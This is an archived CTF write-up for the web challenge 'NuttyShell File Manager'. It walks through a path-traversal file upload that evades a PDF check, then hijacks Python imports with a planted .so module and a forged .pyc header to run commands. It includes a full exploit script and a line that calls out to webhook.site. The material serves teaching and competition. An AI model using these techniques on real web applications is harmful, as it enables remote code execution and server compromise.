

[web/NuttyShell File Manager] PolyU x NuttyShell Cybersecurity CTF 2025 Writeup

[web/NuttyShell File Manager] PolyU x NuttyShell Cybersecurity CTF 2025 Writeup - tournip, Qiita.

- Published: 2025-04-22
- Original: <<https://qiita.com/tournip/items/90da8ff66d2113c08ce8>>
- Preserved from: <https://qiita.com/tournip/items/90da8ff66d2113c08ce8> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

0

Go to list of users who liked

0

Share on X(Twitter)

Share on Facebook

Add to Hatena Bookmark

More than 1 year has passed since last update.

[

[\[image: image\]](#)

@ tournip](<https://qiita.com/tournip>)

[web/NuttyShell File Manager] PolyU x NuttyShell Cybersecurity CTF 2025 Writeup

- [CTF](#)

0

Last updated at 2025-04-22Posted at 2025-04-22

****Introduction**

During this year's Easter holiday, I participated in the PolyU x NuttyShell Cybersecurity CTF 2025 with the team from my school, **S017_Kadoorie** from DBS as winners of last year's iteration. Not only were we able to capture lots of flags again, but we also fortunately captured first place in the secondary division by \$2,000+\$ points which was fairly exciting.

One of the more interesting challenges I solved was `web/Nutty-Shell-File-Manager`, which was a challenge based on the author [@siunam](#)'s research. Interestingly, I was able to find an unintentional solution and contributed to part of his research!

**Challenge Details

| Name | NuttyShell File Manager | | Author | siunam | | Final Solves | 5 | | Final Points | 496 | | Description | NuttyShell File Manager Alpha version is now released! Feel free to give it a try! (Note: Many features are still in development. Stay tuned!)

Note 1: It is highly recommended you try this challenge in a local environment first. The remote challenge instance will clean up all the files in directory `/app` periodically. Note 2: When testing your payload locally, please make sure your Python version is 3.11.

| | | Archive link |

<https://drive.google.com/file/d/1WjnQvhxzmAlKYc7jEkpTskfzQdkjXQi1/view?usp=sharing> | |

**Challenge Exploration

Unzipping the challenge repository, we find the following challenge directory:

```
NuttyShell File Manager
├─ app
│   ├── Dockerfile
│   ├── readflag.c
│   └─ src
│       ├── app.py
│       ├── static
│       │   └─ js
│       │       └─ tailwind.es
│       ├── templates
│       │   └─ index.html
│       ├── uploads
│       │   └─ foo.txt
│       └─ utils.py
└─ docker-compose.yml
```

**Observations

1.) There exists a `readflag.c`, which compiles to a `/readflag` executable according to `app/Dockerfile`.

```
RUN ... && gcc /readflag.c -o /readflag && chmod 4755 /readflag && rm /readflag.c
```

This suggests that we most likely have to achieve Remote Code Execution to read the flag, as we have to reach and run `/readflag`.

2.) The challenge folder has a `app/src/uploads` directory. This suggests that the challenge has file uploading functionality, and perhaps we could use this to achieve the code execution required above.

We should not rule out the possibility of other potential exploits even if we think that this may be the way to solve the challenge.

By checking the `app/src/app.py` file, we can confirm that there is a file upload path. Having said that, it seems to "only allow" **PDF** files, by checking the file mime type and whether the file has "**PDF_FILE_MAGIC_NUMBER**", which is set to `%PDF-`.

A quick google search reveals that this can be easily bypassed as the file mime type check is weak and we can set it to an arbitrary value. Also, we notice that it does not even check the file extension (except blacklisting `.py`), which means we probably can upload any file we want.

The file upload procedure is as follows: It first combines the user provided filename and `UPLOAD_FOLDER` variable (which is set to `/app/uploads`), then checks whether the location starts with `/app`, and lastly makes sure the filename matches the regex `^[a-zA-Z0-9\-\.\.]+$` plus does not end with `.py`.

Due to the weak and frankly weird restrictions, we can try to upload files outside of `/app/uploads` with the python function below:

```
def upload_file(url, file_path, filename=None, mimetype=None):
    with open(file_path, 'rb') as f:
        file_content = f.read()

    if not filename:
        filename = file_path.split('/')[-1]

    fields = {'file': (filename, file_content, mimetype)}
    encoder = MultipartEncoder(fields=fields)
    headers = {'Content-Type': encoder.content_type}

    response = requests.post(url, data=encoder, headers=headers)
    return response
```

The function helps with fabricating the mimetype and file name, of which we can set to something like `../file.txt`. If you are running the challenge locally with docker, you can run `docker exec {container id} ls` to see that there is a file named `file.txt` inside `/app`, which means we can upload to outside of the uploads folder.

****Thoughts**

As we can upload to `/app`, this means we probably can overwrite files to achieve RCE. My first thought was to modify `templates/index.html` to perform [SSTI](#), adding something like `{{ 7*7 }}` and eventually changing it to run `os.system`.

Also, it would also be fun to try to overwrite the python files to do something. This is particularly viable as in the `fileUpload` function, it tries to dynamically import `utils` which has a `saveFile` function in `utils.py`. This effectively means that if we are able to overwrite `utils.py`, then we could add malicious code to the `saveFile` function, and the app would dynamically import it. However if you remember, the uploading of `.py` files is blocked.

More unfortunately, if the reader has read the `Dockerfile` properly, we see that it uses `chmod` to set the permissions of a few files, specifically disabling the app's ability to write to `/app/templates` and `/app/utils.py`.

```
RUN chmod -R 1777 /app && \  
    chmod -R 755 /app/templates /app/static /app/app.py /app/utils.py
```

`755` means that the app's account `www-data`, would only have read and execute permissions($5 + 4 = 55$).

Despite this, we can still write files in hopes of it being executed by the program. When we ran the Docker container, you might have noticed that a `__pycache__` folder was created under `/app`, containing two `.pyc` (compiled python) files as seen below.

```
|— __pycache__  
|   |— app.cpython-311.pyc  
|   |— utils.cpython-311.pyc
```

Seemingly the program would dynamically import `utils.cpython-311.pyc` and load it, so it would make sense to try to overwrite it, tricking the server to run arbitrary code we put in it.

****Further Investigation & Challenge Exploitation**

Now, the fun part of this challenge is that there is more than one way to abuse the dynamic import. I'll first go through my unintended approach but you can skip to the intended approach here.

****My Unintended Approach**

I didn't really believe in the idea of replacing the `utils.cpython-311.pyc` and modifying the `saveFunction` ... This was because when I looked at the [python tutorial/documentation for](#)

[modules](#), specifically the "compiled" python files, it said that the only requirement was for the `.pyc` file's modification date to be newer. This I found especially weird for security reasons, but you will see later that my scepticism will be justified.

With that in mind, I used the script below to generate a malicious copy of the `.pyc` with the same name.

```
with open('utils.py', 'w') as f:
    f.write('''#!/usr/bin/env python3
import os

MAGIC = "%PDF-" # PDF magic bytes hidden in string
def saveFile(filePath, fileContent):
    os.system(f"wget 'https://webhook.site/...')
    with open(filePath, 'wb') as file:
        file.write(fileContent)
''')

py_compile.compile('utils.py')
```

Then I reused the `upload_file` function I made above to upload and overwrite the existing `utils.cpython-311.pyc` in `__pycache__`.

```
response = upload_file(
    upload_url,
    '__pycache__/utils.cpython-311.pyc',
    filename='../__pycache__/utils.cpython-311.py',
    mimetype='application/pdf'
)
```

After running this code and using the upload api again, I didn't get any requests sent to the webhook and when checking the Docker console, found no errors. I did not investigate deeper and decided that overwriting the `.pyc` wasn't going to work.

Obviously, you shouldn't make assumptions without backing them up! Had I looked more into how python actually treats `.pyc` in `__pycache__`, I would've swiftly found the intended solution.

After looking at [PEP 3147](#), [PEP 420](#) and the python module tutorial again, I found that something like `/app/utils/__init__.py` would take precedence.

During import processing, the import machinery will continue to iterate over each directory in the parent path as it does in Python 3.2. While looking for a module or package named "foo", for each directory in the parent path: If `/foo/init.py` is found, a regular package is imported and returned. If not, but `/foo.{py,pyc,so,pyd}` is found, a module is imported and returned. The exact list of extensions varies by platform and

whether the -O flag is specified. The list here is representative. If not, but /foo is found and is a directory, it is recorded and the scan continues with the next directory in the parent path. Otherwise the scan continues with the next directory in the parent path. From <https://peps.python.org/pep-0420/#specification> Even date matching too huh, I solved this on the 20th of April

I tested this by making `/app/utils/__init__.py` in the locally hosted Docker container, and found that it indeed would run.

```
# utils/__init__.py
print("Utils Initialised")
```

```
app-1 | [2025-04-22 03:32:28 +0000] [1] [INFO] Starting gunicorn 23.0.0
app-1 | [2025-04-22 03:32:28 +0000] [1] [INFO] Listening at: http://0.0.0.0:5000 (1)
app-1 | [2025-04-22 03:32:28 +0000] [1] [INFO] Using worker: sync
app-1 | [2025-04-22 03:32:28 +0000] [7] [INFO] Booting worker with pid: 7
app-1 | [2025-04-22 03:32:28 +0000] [8] [INFO] Booting worker with pid: 8
app-1 | [2025-04-22 03:32:29 +0000] [9] [INFO] Booting worker with pid: 9
app-1 | [2025-04-22 03:32:29 +0000] [10] [INFO] Booting worker with pid: 10
app-1 | Utils Initialised
```

That sounded very exciting, however we do have to remember that when uploading files, it goes through this check below, having to match the regex `/^[a-zA-Z0-9\-\.\.]+\$/` and not ending in `.py`.

```
def isFilenameValid(filename):
    regexMatch = FILENAME_REGEX_PATTERN.search(filename)
    isPythonExtension = filename.endswith('.py')
    if regexMatch is None or isPythonExtension:
        return False
    return True
```

Our file would not only fail both of those, as it has underscores and ends with `.py`, but it'd also have to be in a new `utils` directory, which means that the file could not be uploaded. Looking back at the wonderful PEP 420, it states that after `<directory>/__init__.py`, python would look for `<directory>/foo.{py,pyc,so,pyd}`. This means that uploading a `/app/utils.pyc` may cause python to run that instead of `/app/utils.py`. Unfortunately for us, python prefers the file ending in `.py` over `.pyc` from testing (It would run the `.pyc` if the `.py` version didn't exist).

This meant that our only hope would be `.so` and `.pyd`. Looking up what those two file extensions were on google, we get this:

Q: What is .SO file in Python?

A: A file with .so extension is a library containing binary code to perform .so functions. The .so file allows more than one program to use the functions it stores at the same time. 7 Nov 2023 <https://medium.com/@yeap0022/linux-compress-python-packages-in-to-shared-library-so-8342bffab001>

We also find that .pyd is the same thing but of the windows version. Since the Docker container runs on alpine, a linux distribution, we would use .so instead of .pyd .

```
FROM python:3.11-alpine
```

From a random [stack overflow post](#), I found that in python, a .so file takes precedence over .py for some odd reason...

By looking up online, I found that you can create a .so file with a malicious saveFile function using the code below.

```
# setup.py
from setuptools import setup
from Cython.Build import cythonize

with open('utils.pyx', 'w') as f:
    f.write('''import os

MAGIC = '%PDF-'
def saveFile(filePath, fileContent):
    os.system('/readflag > uploads/answer.txt')
    with open(filePath, 'wb') as file:
        file.write(fileContent)
''')

setup(
    name="utils",
    ext_modules=cythonize("utils.pyx"),
)

# RUN python setup.py build_ext --inplace
```

You should run this in a Docker container with an alpine linux image to ensure parity, as the compiled file is optimized for that machine.

You cannot run this on something with ARM architecture(such as MacOS/OSX), as the server is on x86_64. I did this and did not realise, costing lots of time.

You will end up with the file `utils.cpython-311-x86_64-linux-musl.so` . Careful readers will notice that there is an underscore in the .so file, which isn't allowed, but if you remember,

PEP 420 says `<directory>/foo.{py,pyc,so,pyd}` , which means renaming it to `utils.so` would work.

Reusing the codes above, we can upload `utils.so` to the `/app` directory. After doing this, we can simply upload another arbitrary file, then head to `/?filename=answer.txt` and find the flag there.

I will leave this as practice for the reader, but you can find my whole solve script, where I used a Dockerfile to ensure that `.so` file consistency, here: <https://drive.google.com/file/d/1aFeuLCTPMVFP7qlxex7ssF-ciukhdQi8/view?usp=sharing>

```
Attaching to app-1
app-1 | Flag: PUCTF25{wheN_bY7eCodE_Bi7e5_B4CK_YYXJjsoXTEWvdBGSAIfWBAnLesEw58GB}
app-1 exited with code 0
```

**Intended Approach

Funnily enough, I had to reach out to [@siunam](#) via the tickets as my solution wouldn't work on the remote instance. Why? Because I was using a macbook and the `.so` file would be compiled for the ARM architecture, even though I did the compilation in an alpine linux Docker container already.

That was when we both learnt that our solutions differed, particularly me discovering that it was possible to overwrite the `.pyc` file and have it be used.

 (<https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F4067930%2F3e879eac-3c62-4f65-ae62-7924d7db206f.png?ixlib=rb-4.0.0&auto=format&gif-q=60&q=75&s=6049286be19af78b5978ec4710d97b6e>)

Apparently python checks only the bytecode header section, which can be forged and only then will python use it.

Using tools such as <https://twy.name/Tools/pyc/>, we can see that the bytecode header has these items:

```
=====
Magic Number: 168627623 (0x0a0d0da7)
Python Magic Number: 3495 (3.11)
Bit Field: 0
Modification Date: 1739683281 (2025-02-16 13:21:21)
File Size: 132
=====
```

The magic number is simply dictated by the python version, which must be `3.11` as stated in the Dockerfile. The two important fields are **File Size** and **Modification Date**, of which the former is trivial to modify, while the latter definitely isn't.

Actually, how do we even get the original `utils.cpython-311.pyc` file?

Remember how we can upload to outside of the uploads folder? We can do the same with the file viewing function... Simply visit <http://localhost:5000/?filename=../pycache/utils.cpython-311.pyc> to download it. Use <https://twy.name/Tools/pyc/> to read its header!

OK, now we know the **File Size** and **Modification Date** we need to replicate! Actually, that raises another question... How does the website get the header info in the first place?

According to [Python bytecode analysis \(1\) from nowave.it](#), the first four bytes store the magic number, next four bytes store the bit field, next four bytes store the modification date...  (<https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F4067930%2Fefa217d0-ace7-4652-89f3-ff2b6f32124f.png?ixlib=rb-4.0.0&auto=format&gif-q=60&q=75&s=d48432bcfb2cbd60f309e28700050b60>)

We can notice that the file size is always 132, however, the modification date depends on when you started your challenge instance, so we have to ensure we have the correct date every time the challenge server is restarted.

So, what we now have to do is to make a `.pyc` which has a file size of **132**, and date of let's say **1739683281 (2025-02-16 13:21:21)**.

I was scared that setting the file size to an arbitrary value would mess up the `.pyc`, and so I first compiled a basic malicious `utils.py`, then adjusted the file size of a new `.pyc` accordingly. I know this sounds confusing, so let's read the code instead.

First, we make the basic malicious `utils.py`

```
with open('utils.py', 'w') as f:
    f.write('__import__("os").system("/readflag > uploads/answer.txt && \
        echo %PDF-")')
py_compile.compile('utils.py')
```

Then, we make a function to check the file size of the `.pyc`.

```
def read_bytecode_size(pyc_file_path):
    with open(pyc_file_path, "rb") as f:
        f.read(12)
        size = struct.unpack('<i', f.read(4))[0]

    return size
```

And finally we adjust the file size accordingly!

```

with open('utils.py', 'w') as f:
    f.write(f'__import__("os").system("/readflag > uploads/answer.txt && \
        echo {"A"*(132-read_bytecode_size("__pycache__/_utils.cpython-311.pyc"))}%PDF-
    "')
py_compile.compile('utils.py')

```

Now that we have the same file size, let's move on to modifying the date!

Similar to the `read_bytecode_size` function, we can modify a few lines to make it override the timestamp bytes.

```

def overwrite_bytecode_header(pyc_file_path, timestamp):
    with open(pyc_file_path, "rb+") as f:
        f.read(8)
        timestamp_bytes = struct.pack('<i', timestamp)
        f.seek(8)

        f.write(timestamp_bytes)

```

Now simply read the timestamp bytes of the `.pyc` on the server and run the function.

```

response = requests.get(upload_url + '?filename=../__pycache__/_utils.cpython-311.pyc')
overwrite_bytecode_header('__pycache__/_utils.cpython-311.pyc', struct.unpack('<i',
response.content[8:12])[0])

```

Now we have a malicious `.pyc` with the same file size and modification date as the original `__pycache__/_utils.cpython-311.pyc`, we can simply upload it, trigger the upload function again to load the pyc, and read the flag in `uploads/answer.txt` !

Here's the full PoC!

```

import requests
from requests_toolbelt import import MultipartEncoder
import py_compile
import struct

def read_bytecode_size(pyc_file_path):
    with open(pyc_file_path, "rb") as f:
        f.read(12)
        size = struct.unpack('<i', f.read(4))[0]

    return size

def overwrite_bytecode_header(pyc_file_path, timestamp):
    with open(pyc_file_path, "rb+") as f:
        f.read(8)
        timestamp_bytes = struct.pack('<i', timestamp)
        f.seek(8)

        f.write(timestamp_bytes)

def upload_file(url, file_path, filename=None, mimetype=None):
    with open(file_path, 'rb') as f:
        file_content = f.read()

    if not filename:
        filename = file_path.split('/')[-1]

    fields = {'file': (filename, file_content, mimetype)}
    encoder = MultipartEncoder(fields=fields)
    headers = {'Content-Type': encoder.content_type}

    response = requests.post(url, data=encoder, headers=headers)
    return response

upload_url = 'http://chal.polyuctf.com:42066/'

with open('utils.py', 'w') as f:
    f.write('__import__("os").system("/readflag > uploads/answer.txt && \
        echo %PDF-")')
py_compile.compile('utils.py')

upload_file(
    upload_url,
    '__pycache__/utils.cpython-311.pyc',

```

```

filename='pdf.pdf',
mimetype='application/pdf'
)

with open('utils.py', 'w') as f:
    f.write(f'__import__("os").system("/readflag > uploads/answer.txt && \
        echo {"A"*(132-read_bytecode_size("__pycache__/_utils.cpython-311.pyc"))}%PDF-
    "')
py_compile.compile('utils.py')

response = requests.get(upload_url + '?filename=../__pycache__/_utils.cpython-311.pyc')
overwrite_bytecode_header('__pycache__/_utils.cpython-311.pyc', struct.unpack('<i',
response.content[8:12])[0])

upload_file(
    upload_url,
    '__pycache__/_utils.cpython-311.pyc',
    filename='../__pycache__/_utils.cpython-311.pyc',
    mimetype='application/pdf'
)

upload_file(
    upload_url,
    '__pycache__/_utils.cpython-311.pyc',
    filename='pdf.pdf',
    mimetype='application/pdf'
)

response = requests.get(upload_url + '?filename=answer.txt')
print(f"Flag: {response.text}")

```

****Final Thoughts**

Overall, the challenge was quite fun and even more interesting as a subject for research, which is what the author had done. Yet nothing could have prepared me for the amount of googling required doing these CTF challenges!!!

I do think that I need to reduce the amount of baseless assumptions I make, and "try harder" to either prove or disprove them, instead of pretending that I'm correct and well-informed.

Only thing to comment on is that the file upload bypass/PDF part of this challenge could've been made more fun by adding even more barriers or entirely transformed.

Wouldn't say that my performance in this CTF was *that* satisfactory, but at least I solved this challenge...

****References**

- <https://docs.python.org/3/tutorial/modules.html#compiled-python-files>
- <https://peps.python.org/pep-3147/>
- <https://peps.python.org/pep-0420/#specification>
- <https://medium.com/@yeap0022/linux-compress-python-packages-into-shared-library-so-8342bffab001>
- <https://stackoverflow.com/questions/60174908/python-changing-precedence-of-import-file-types-py-before-so>
- <https://twy.name/Tools/pyc/>
- <https://nowave.it/python-bytecode-analysis-1.html>

0

Go to list of users who liked

0

0

Go to list of comments

Register as a new user and use Qiita more conveniently

- You get articles that match your needs
- You can efficiently read back useful information
- You can use dark theme

[What you can do with signing up](#)

[Login](#)